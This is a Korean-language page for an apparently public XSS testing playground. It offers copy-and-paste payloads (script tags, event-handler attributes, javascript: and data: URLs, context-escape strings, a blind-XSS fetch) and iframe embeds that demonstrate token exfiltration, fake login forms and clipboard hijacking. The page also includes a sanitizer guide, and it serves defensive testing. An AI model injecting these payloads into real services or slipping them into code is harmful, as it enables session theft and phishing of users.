XSS Playground
복사해서 테스트하는 XSS 시나리오 모음

About — Sangmook Kim
Frontend Engineer
프론트엔드 개발자 김상묵입니다. 이 사이트는 특정 서비스 전용 PoC 가 아니라, 누구나 본인이 권한을 가진 웹 서비스에서 XSS 대응을 빠르게 확인할 수 있도록 만든 공개 플레이그라운드입니다.
각 시나리오는 script 태그, 이벤트 핸들러 속성, javascript: URL, DOM sink, 임베드된 iframe, 부모 페이지와의 메시지 통신처럼 실제 서비스에서 자주 놓치는 공격면을 작은 테스트 페이지로 재현합니다.
시나리오 카드나 상세 페이지에서 HTML payload 또는 iframe 코드를 복사해 본인 프로젝트에 붙여 넣고, 렌더링 차단 여부와 실제 브라우저 동작을 확인하세요.
프로젝트 의도
XSS 대응은 코드 한 줄이나 HTML 필터 이름만으로 끝나지 않습니다. 실제 브라우저에서 iframe, 메시지, 권한 요청, 자동 요청, 사용자 기만 UI 가 어디까지 동작하는지 직접 확인해야 합니다.
이 사이트는 공격 자동화 도구가 아니라, 개발자와 보안 담당자가 본인 서비스의 렌더링 정책을 재현 가능한 시나리오로 점검하기 위한 체크리스트입니다.
모든 스니펫은 복사해서 dev/staging 환경에 붙여 넣는 흐름을 기준으로 만들었습니다. HTML payload 가 실행되거나 iframe 시나리오가 동작하면 위험 신호이고, 차단되면 어떤 정책이 막았는지 기록하기 좋습니다.
사용 방법
- 원하는 시나리오 페이지를 엽니다.
- 홈 카드 또는 상세 페이지에서 HTML payload 나 iframe 코드를 복사합니다.
- 본인 서비스(에디터, 노트, 위키 등)에 그 스니펫을 붙여 넣고 저장합니다.
- 렌더링 허용 여부, sandbox 정책, CSP, postMessage 검증, 실제 브라우저 동작을 확인합니다.
Sanitize 실무 가이드
HTML 을 사용자 기능으로 허용해야 한다면 단순 문자열 replace 나 블랙리스트가 아니라, 출력 컨텍스트별 인코딩과 검증된 sanitizer 정책을 함께 설계해야 합니다.
DOMPurify 는 HTML, SVG, MathML 에서 실행 가능한 위험 요소를 제거하는 대표적인 sanitizer 입니다. React 의 dangerouslySetInnerHTML, Markdown/MDX 렌더러, rich text 출력처럼 HTML 을 의도적으로 넣는 지점에만 사용하세요.
서버에서 sanitize 하려면 DOMPurify 에 DOM 구현이 필요합니다. Node 환경에서는 최신 jsdom 조합을 쓰고, 클라이언트와 서버의 allowlist 가 달라지지 않도록 정책을 공유해 테스트하세요.
허용 태그, 속성, URL protocol/host, iframe sandbox, CSP 를 기능 단위로 기록해야 합니다. sanitize 후 다른 렌더러가 HTML 을 다시 변형하면 방어 효과가 깨질 수 있습니다.
XSS 위협 요약
Hacker101 CTF 의 XSS Playground 분류와 PortSwigger Web Security Academy 의 XSS 가이드를 기준으로, 이 프로젝트에서 테스트할 위험을 다음 축으로 정리했습니다.
URL, 검색어, 오류 메시지처럼 현재 요청의 입력값이 즉시 응답 HTML 안에 안전하지 않게 반영될 때 발생합니다.
댓글, 프로필, 문서 본문 등 저장된 사용자 입력이 나중에 다른 사용자에게 실행 가능한 콘텐츠로 렌더링될 때 발생합니다.
클라이언트 코드가 location, hash, postMessage 같은 신뢰할 수 없는 값을 읽어 innerHTML, eval, setTimeout 문자열 같은 sink 에 넣을 때 발생합니다.
이벤트 핸들러, SVG/MathML, javascript: URL, 인코딩, 템플릿 문법처럼 약한 블랙리스트나 불완전한 CSP 를 우회하는 벡터를 확인해야 합니다.
XSS 가 실행되면 사용자의 권한으로 요청을 보내거나 화면을 조작하고, 접근 가능한 데이터와 세션 상태를 악용할 수 있습니다.
iframe, 오버레이, 알림, 클립보드, postMessage 를 이용해 자격증명을 속여 입력받거나 관찰 가능한 정보를 외부로 보낼 수 있습니다.
시나리오
카테고리별로 정리된 공격 시나리오입니다. 카드의 HTML payload 또는 임베드 코드를 바로 복사하거나 상세 페이지에서 더 자세히 테스트하세요.
HTML 삽입
사용자 입력이 HTML 문서로 그대로 파싱될 때 <script> 태그가 실행 가능한지 확인한다.
<script>alert("xss-playground")</script>img onerror, details ontoggle 같은 이벤트 핸들러 속성이 렌더링 과정에서 살아남아 실행되는지 확인한다.
<img src=x onerror="alert('xss-playground')">SVG, MathML 같은 비 HTML 네임스페이스 태그의 이벤트 속성과 중첩 HTML 이 필터를 우회하는지 확인한다.
<svg onload="alert('xss-playground')" xmlns="http://www.w3.org/2000/svg"></svg>DOM XSS
location, hash, postMessage 등에서 온 문자열을 innerHTML 같은 unsafe sink 에 넣을 때 DOM 기반 XSS 가 발생하는지 확인한다.
<img src=x onerror="alert('dom-xss')">URL / 프로토콜
a href, form action 같은 URL 속성에 javascript: 프로토콜이 남아 클릭 또는 submit 시 실행되는지 확인한다.
<a href="javascript:alert('xss-playground')">click me</a>HTML entity, 제어문자, 대소문자 변형으로 javascript: URL 검증을 우회할 수 있는지 확인한다.
<a href="javascript:alert('xss-playground')">encoded protocol</a>iframe, object, embed, link preview 같은 wrapper URL 속성에서 data:text/html 이 허용되어 별도 HTML 문서가 실행되는지 확인한다.
<iframe src="data:text/html,<script>parent.postMessage({type:'DATA_URL_XSS'},'*')</script>"></iframe>컨텍스트 탈출
사용자 입력이 script 블록 안의 문자열, JSON 초기 상태, inline 이벤트 코드에 들어갈 때 따옴표와 script 종료 토큰으로 컨텍스트를 탈출하는지 확인한다.
";alert("xss-playground");//사용자 입력이 style 태그, style 속성, CSS URL 토큰으로 들어갈 때 parser 탈출이나 위험 URL 이 남는지 확인한다.
</style><img src=x onerror="alert('css-context-xss')"><style>파일 업로드
SVG, XML, HTML 파일을 업로드 후 미리보기로 렌더링할 때 active content 가 실행되는지 확인한다.
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('svg-file-xss')"></svg>사용자 콘텐츠
Markdown/MDX/에디터 렌더러가 링크 URL, raw HTML, 이미지 URL 을 안전하게 정규화하고 sanitize 하는지 확인한다.
[click me](javascript:alert('markdown-xss'))닉네임, 상태 메시지, 아이콘 URL 처럼 사소해 보이는 프로필 필드가 속성/HTML 컨텍스트에서 실행 가능한 코드가 되는지 확인한다.
" autofocus onfocus="alert('nickname-xss')" x="내비게이션
iframe 안에서 부모 창 전체를 다른 URL 로 보내며 sandbox allow-top-navigation 차이를 확인한다.
<iframe src="https://xss-playground.com/embed/top-redirect?lang=ko" title="XSS Playground - top.location 강제 리다이렉트" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
통신
parent.postMessage 로 부모 페이지에 위조 메시지를 보내고 origin 검증 누락을 확인한다.
<iframe src="https://xss-playground.com/embed/post-message?lang=ko" title="XSS Playground - postMessage 스푸핑" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
사용자 모르게 외부 도메인으로 form 을 submit 하며 sandbox allow-forms 와 CSRF 경계를 확인한다.
<iframe src="https://xss-playground.com/embed/form-auto-submit?lang=ko" title="XSS Playground - 숨겨진 form 자동 submit (CSRF-like)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
iframe 자기 origin 안에서 수집한 정보와 referrer 를 sendBeacon 또는 fetch 로 외부 전송하는 흐름을 확인한다.
<iframe src="https://xss-playground.com/embed/beacon-exfil?lang=ko" title="XSS Playground - navigator.sendBeacon / fetch exfiltration" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
img.src 에 외부 상태변경 GET 엔드포인트를 넣어 쿠키와 함께 요청이 나가는지 확인한다.
<iframe src="https://xss-playground.com/embed/csrf-image?lang=ko" title="XSS Playground - img 태그 GET 요청 CSRF" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
탈취
부모 페이지의 JWT, storage, 진행 중 네트워크 요청을 iframe 에서 빼낼 수 있는지 경계를 확인한다.
<iframe src="https://xss-playground.com/embed/token-exfil?lang=ko" title="XSS Playground - 부모 토큰 / 네트워크 탈취 시도" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
피싱
iframe 안에 부모 사이트처럼 보이는 로그인 폼을 그려 사용자의 입력값을 자기 origin 에서 수집한다.
<iframe src="https://xss-playground.com/embed/phishing-form?lang=ko" title="XSS Playground - 가짜 로그인 폼 (피싱)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
iframe 을 화면 전체에 배치하고 부모 사이트와 비슷한 UI 를 그려 사용자를 속이는 시나리오.
<iframe src="https://xss-playground.com/embed/fullscreen-overlay?lang=ko" title="XSS Playground - 풀스크린 오버레이 위장" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
지연 / 연속
사용자 입력이 즉시 실행되지 않더라도 관리자 콘솔, 알림, 로그 뷰어, CRM 같은 나중의 렌더링 화면에서 실행되는지 추적한다.
<img src=x onerror="fetch('/redirected?from=blind-xss&surface=admin-log',{mode:'no-cors'})">URL 파라미터나 카운트다운으로 일정 시간 뒤 top-redirect, postMessage, form submit 등을 자동 실행한다.
<iframe src="https://xss-playground.com/embed/delayed-attack?lang=ko" title="XSS Playground - 지연 / 자동 실행 페이로드" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
풀스크린 가짜 UI, 자격증명 캡처, top redirect 를 묶어 의심을 줄이는 공격 흐름을 재현한다.
<iframe src="https://xss-playground.com/embed/chained-attack?lang=ko" title="XSS Playground - 체인 공격 (피싱 + 풀스크린 + redirect)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
방해
사용자 클릭 없이 파일 다운로드를 시작할 수 있는지 download 속성, Blob URL, data URL 로 확인한다.
<iframe src="https://xss-playground.com/embed/auto-download?lang=ko" title="XSS Playground - 자동 다운로드 트리거" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
window.open 으로 새 창을 열고 popup 차단, allow-popups, opener/tabnabbing 경계를 확인한다.
<iframe src="https://xss-playground.com/embed/popup-spam?lang=ko" title="XSS Playground - popup / window.open 스팸" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
소리 있는 비디오를 자동재생하거나 requestFullscreen 으로 풀스크린 점유를 시도한다.
<iframe src="https://xss-playground.com/embed/autoplay-media?lang=ko" title="XSS Playground - 자동재생 미디어 / 자동 풀스크린" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
Notification.requestPermission 을 호출해 권한 프롬프트와 이후 피싱 알림 가능성을 확인한다.
<iframe src="https://xss-playground.com/embed/notification-permission?lang=ko" title="XSS Playground - 알림 권한 요청 / 푸시 hijack" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
사용자가 iframe 영역에서 복사할 때 copy 이벤트를 가로채 클립보드 값을 다른 내용으로 덮어쓴다.
<iframe src="https://xss-playground.com/embed/clipboard-hijack?lang=ko" title="XSS Playground - 클립보드 hijack" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
iframe 자기 origin 의 history 항목을 쌓아 부모 탭의 뒤로가기 흐름을 방해한다.
<iframe src="https://xss-playground.com/embed/history-pollution?lang=ko" title="XSS Playground - history.pushState 오염" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
탐색
부모 DOM, storage, cookie 접근 시도를 통해 SOP 가 실제로 막는 영역과 허용하는 영역을 확인한다.
<iframe src="https://xss-playground.com/embed/sop-probe?lang=ko" title="XSS Playground - Same-Origin Policy 프로브 (실패 확인용)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
여러 postMessage payload 를 부모에게 보내 응답이나 사이드 이펙트로 리스너 존재를 관찰한다.
<iframe src="https://xss-playground.com/embed/parent-message-listener-probe?lang=ko" title="XSS Playground - 부모의 message 리스너 fingerprinting" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
기여하기 (Issues / PR)
이 프로젝트는 source-available 라이선스로 운영합니다. 코드는 공개되어 있지만, fork 후 별도 배포·재배포·상업적 이용은 허용되지 않습니다.
아이디어·버그·번역 개선·새 시나리오 제안은 환영합니다. Issue 로 먼저 논의한 뒤, 승인된 변경은 collaborator 로 추가받아 본 레포에 직접 브랜치를 올려 PR 을 보내는 흐름을 권장합니다.
라이선스와 contribution 정책 전문은 LICENSE 와 CONTRIBUTING.md 를 참고해 주세요.